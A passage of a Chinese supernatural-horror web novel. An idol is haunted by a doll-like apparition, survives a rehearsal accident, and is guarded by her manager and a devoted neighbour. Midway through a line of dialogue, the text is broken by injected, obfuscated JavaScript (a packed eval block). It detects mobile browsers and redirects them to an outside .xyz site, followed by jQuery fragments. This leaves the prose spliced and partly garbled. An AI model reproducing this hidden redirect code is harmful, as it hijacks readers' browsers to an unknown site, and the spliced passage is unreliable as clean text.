温洛眠原本以为那次噩梦只是凑巧,可接下来的几天,每到午夜,那双泛着死鱼肚白的瞳仁又会再次出现,在黑暗中死死窥视着她。
那“人偶”既不说话,也不伤害她,就只是坐在床尾,静静地地盯着她看,发出阴森森地低吟,还咧着嘴巴诡异地朝她笑。
温洛眠惊恐地抓紧被子,身体不住地哆嗦,想要呼喊,喉咙却仿佛被一只无形的大手扼住,发不出一点声响,只能眼睁睁看着“人偶”在黑暗中时隐时现。
这样无声的对峙,一直持续到黎明前的一刻,也是在这个时候,温洛眠才会失去意识般地沉睡过去。
手机铃声在房间里回荡,温洛眠猛地惊醒,机械地摁了接通,经纪人催促的声音钻进耳朵。
“眠眠,你怎么还没到?”
“你们今天要进行排练了。”
距离演唱会还有四天,他们要在今天排练舞台了。
温洛眠眼皮沉重得掀不起来,眼底蒙着一片乌青,她揉了揉眼睛,努力地提起精神,“好,我马上赶过去。”
挂完电话后,她快速洗漱完毕,出门前,目光又不由自主地落在角落里的娃娃,想了想,她还是把娃娃带了出去,之后随手扔进了外边的垃圾桶里面。
……
目的地。
温洛眠到达的时候,其他队友已经做完了热身运动。
成员1:“眠眠你昨晚没休息好吗?你的黑眼圈好重啊。”
成员2:“眠眠你脸色也不好诶,你是不是身体不舒服啊?”
成员3也有些担忧,“眠眠你能完成排练吗?”
一连串的问题,让本就脑袋昏沉的温洛眠更加迷糊。
她努力瞪大眼睛,清醒思绪,“大家不用担心,我只是没休息好,可以完成排练,不会影响到这次的演出。”
“眠眠你不要误会了,我们只是关心你。”
队友以为温洛眠误会了,急忙解释。
温洛眠挤出一抹浅笑,表示理解,“没关系的,我知道你们的意思。”
这段小插曲很快过去,成员们开始排练。
宽敞酷炫的舞台,动感的音乐回荡在空气中,大家都全情投入,力求每个动作都做到完美。
温洛眠也在音乐响起的那一刻,投入演出,原本昏昏欲睡的双眸也变得明亮起来,随着音乐的变化而转变,完全沉浸在舞蹈里面。
就在这一切都按照规划发展的时候,变故发生了。
首先是音响设备,它发出一阵“滋滋”的微弱电流声,起初并不明显,可下一秒,刺耳的杂音骤然爆发,那尖锐的声响如同一把把利刃,划破原本和谐的旋律,直刺众人耳膜。
成员们纷纷捂住耳朵,面露痛苦之色。
“怎么回事啊?”
“快关了!”
“呀,我的耳朵!”
音乐播放操作员在发生变故的那一刻就尝试过关闭音响,然而控制器就像不听使唤了一样,没有一点反应。
这种失灵情况的出现就像是是突然中了邪……
温洛眠蹲在地上,痛苦地捂住耳朵,脑海里突然升起一股强烈的不好预感,似有感应,她仰起头望向头顶的巨型灯。
原本明亮而稳定的光线也就在这时突然毫无征兆地忽明忽暗起来。
强烈的光线瞬间刺得人睁不开眼,还没等众人缓过神,紧接着又是短暂的黑暗,仿佛要将一切都吞噬。
明暗交错之间,整个舞台仿佛被笼罩上了一层诡异的氛围。
“啊,这是在搞什么?”
“场控老师呢?没有交电费吗?”
“诶,今天真是不适宜排练,我们下班吧。”
其中一名成员捂着耳朵站起来,迈着脚步往后台走,恰好走在了头顶挂着一盏吊灯的位置。
温洛眠的不安感又来了,强烈得吓人。
她回头,瞥着要离开的那位队友,迅速起身,一把抓住她的手臂扑向另一旁,两人倒在地下,下一秒那个吊灯就砸落在要走队友原本的位置上。
其他队友们见状被吓了一跳,赶忙围拢过来,关切地询问温洛眠和另一名队友是否受伤。
那名队友从地上爬起,心中泛起一阵后怕,感激地抱住温洛眠,“眠眠谢谢你,你救了我!”
温洛眠没有说话,从地上坐起,脑海里浮现出那个被她扔掉的娃娃的脸,猛地意识到事情的严峻性。
“大家快离开这里!”
她拉起坐在地上的队友着急忙慌地就往外跑,其他队友虽不解但是也跟着跑了出去。
待跑出演出场地,感受到阳光照在肌肤的那一刻,温洛眠心口压着的大石落地,松了一大口气。
“眠眠到底发生了什么事情?”
“你为什么这么激动地叫我们跑出来?”
温洛眠凝眸,把自己这些天发生的事情都告诉队友。
队友们听完之后,完全不可置信,“这……”
她们也不知道该怎么说好,默契地低下了头。
……
房间。
经纪人得知温洛眠发生的事情,神色若有所思。
她站在窗户旁,摸着下巴思考,“你这种情况我不是第一次遇见,之前带过的一位爱豆也有遇到过这种情况,估计你也是招了这地的邪祟什么的,我现在就派人去解决。”
温洛眠闻言,眉心动了动,垂下长睫,“没想到这世界上还真有这种东西,还被我不幸遇到了。”
经纪人走上前,轻轻拍了拍她的肩膀,安慰道:“不用担心,我会解决的,还有,我今天晚上会过来陪你,你不用太害怕。”
经纪人到底是经历过大风大浪的人,沉稳干练。
温洛眠敛下眉,点头,“嗯。”
到了夜晚,凌晨的界点一过,房间里的温度就莫名阴凉起来。
温洛眠蜷缩在床头,用被子裹紧身子,抱紧自己。
经纪人坐在床边,眼睛在房间里扫巡,目光锐利冰寒,“我倒是要看看有什么鬼邪来吓人。”
她的话音刚落,房门就被“咚咚”地敲响。
温洛眠的心抖了一下,眼睛看向房门。
经纪人站起身,抄起一旁准备好的那瓶狗血,警惕地走向房门。
手搭上门把手,她深吸一口气,随后一鼓作气地打开门,不给外边的人时间反应,扬手就朝外边泼了过去。
“靠!”
齐冀迅速反应,身体急忙闪到一边,躲开了攻击,但还是有点点地血迹溅到衬衫上。
“怎么又是你?”
经纪人对齐冀的出现已经不震惊,倒是十分不满。
他一个男人天天追着一个女爱豆,比私生还恐怖。
齐冀没管经纪人不悦的质问,侧身进了卧室。
“眠眠。”他一眼瞧见床上缩着的温洛眠,快步来到床边,担心询问:“怎么样?”
“它来了没有?别害怕啊,我保护你。”
温洛眠只是小幅度的摇头,也不知是在回答哪个问题。
见她这副脆弱的模样,齐冀懊悔又自责,黑眸浸入寒光,“是我不好,我就住你隔壁都没有发现你的异样。”
她肯定被折磨了很久……
温洛眠见他自责,侧眸望他,提起精神安慰他,只是开口的声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726025|173959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音虚虚的:“和你没关系,是我自己不让你来找我的。”
她说完就低下了头,神色恹恹地抠着指甲。
齐冀看着她憔悴的模样,心疼得不行,“眠眠你放心,我已经找到解决的办法了,明天过后,任何的邪祟都不能再靠近你。”
他抬眸,眸光泛着阴冷,“那天我见到的丑玩意,我要它不得超生。”
管它什么诅咒,惹了她,都得焚化。
……
这一晚,齐冀和经纪人都守在温洛眠的身边,她没有再见到“人偶”,不过,这也有可能是因为她一整晚都没有睡。
第二天一早,齐冀交代经纪人照顾好温洛眠,自己就出了房间。
温洛眠见他走得气势汹汹,不禁有些担心。
“他不会出事吧?”
经纪人扶着她的胳膊,不甚在意,“没事,就几滴血的事情。”
“嗯?”
温洛眠扭头望着经纪人,“你这是什么意思?”
经纪人意识到自己说错话,改口:“没什么,我瞎说的。”
温洛眠明显不信,掰下经纪人的手,莹澈的眸子盯着她,“你不要骗我。”
经纪人眼神飘忽一瞬,随即面不改色,认真道:“我没骗你。”
“他不会有事。”
至少肯定不会有生命危险。
温洛眠凝眸和经纪人对视片刻,对方丝毫不慌,躲都不带躲一下。
最终,温洛眠率先移开视线,她知道,她是没办法再从经纪人口中得到什么消息了。
修长的睫毛颤抖了几下,温洛眠的目光望向窗外的蓝天。
外边的天空碧蓝纯澈,没有一丝杂质,就似一块剔透的玻璃。
真是岁月静好,如果忽略现实的情况。
……
到了中午,齐冀终于出现。
温洛眠立马从沙发上起身,关切地望着站在玄关处的他,“齐冀你没事吧?”
齐冀笑了笑,笑得有些牵强,“没事。”
温洛眠还是那句话,“你不要骗我。”
两个人相对而站,中间隔着七八米的距离。
“真的没事。”他特意转了个圈,吊儿郎当地哑笑,“你看,我全身上下不是好好的吗?”
温洛眠樱唇抿了抿,还是不相信,“那你为什么不敢走过来?”
空气中的气氛霎时微妙,齐冀依旧站在玄关处,一步不移。
“……眠眠。”
见温洛眠主动朝他走了过来,齐冀喊住她,“我身上不干净,你别过来挨我太近。”
温洛眠性子中的的犟被激发,她执意要靠近他,“我不在乎。”
齐冀被她打败,“好了,你站住!”
温洛眠站定,水眸看着他,“你还是不愿意告诉我吗?”
齐冀的手指蜷缩一下,指骨泛白,“我真的没骗你。”
说着,不等她回话,急匆匆转身跑出去,“我去洗个澡再来找你。”
温洛眠喊都喊不住,落荒而逃的意味简直明显。
都不告诉她,肯定是解咒没有那么简单。
温洛眠心底的烦躁攀升,闭了闭眼,努力抑制住情绪,维持平静。
那头,齐冀说是回去洗澡,其实一回到房间,他就跑进浴室里抽起烟。
随手脱掉黑色上衣,露出壁垒分明的腹肌,上面新添了一道伤疤。
齐冀蹲坐在浴室里,烦躁地大口大口地抽着烟,烟雾猛地呛入肺里,引得他一阵剧烈咳嗽,但他浑然不顾,只是狠狠将烟头在墙上按灭,然后再重新点燃一根。
他记起了一些片段……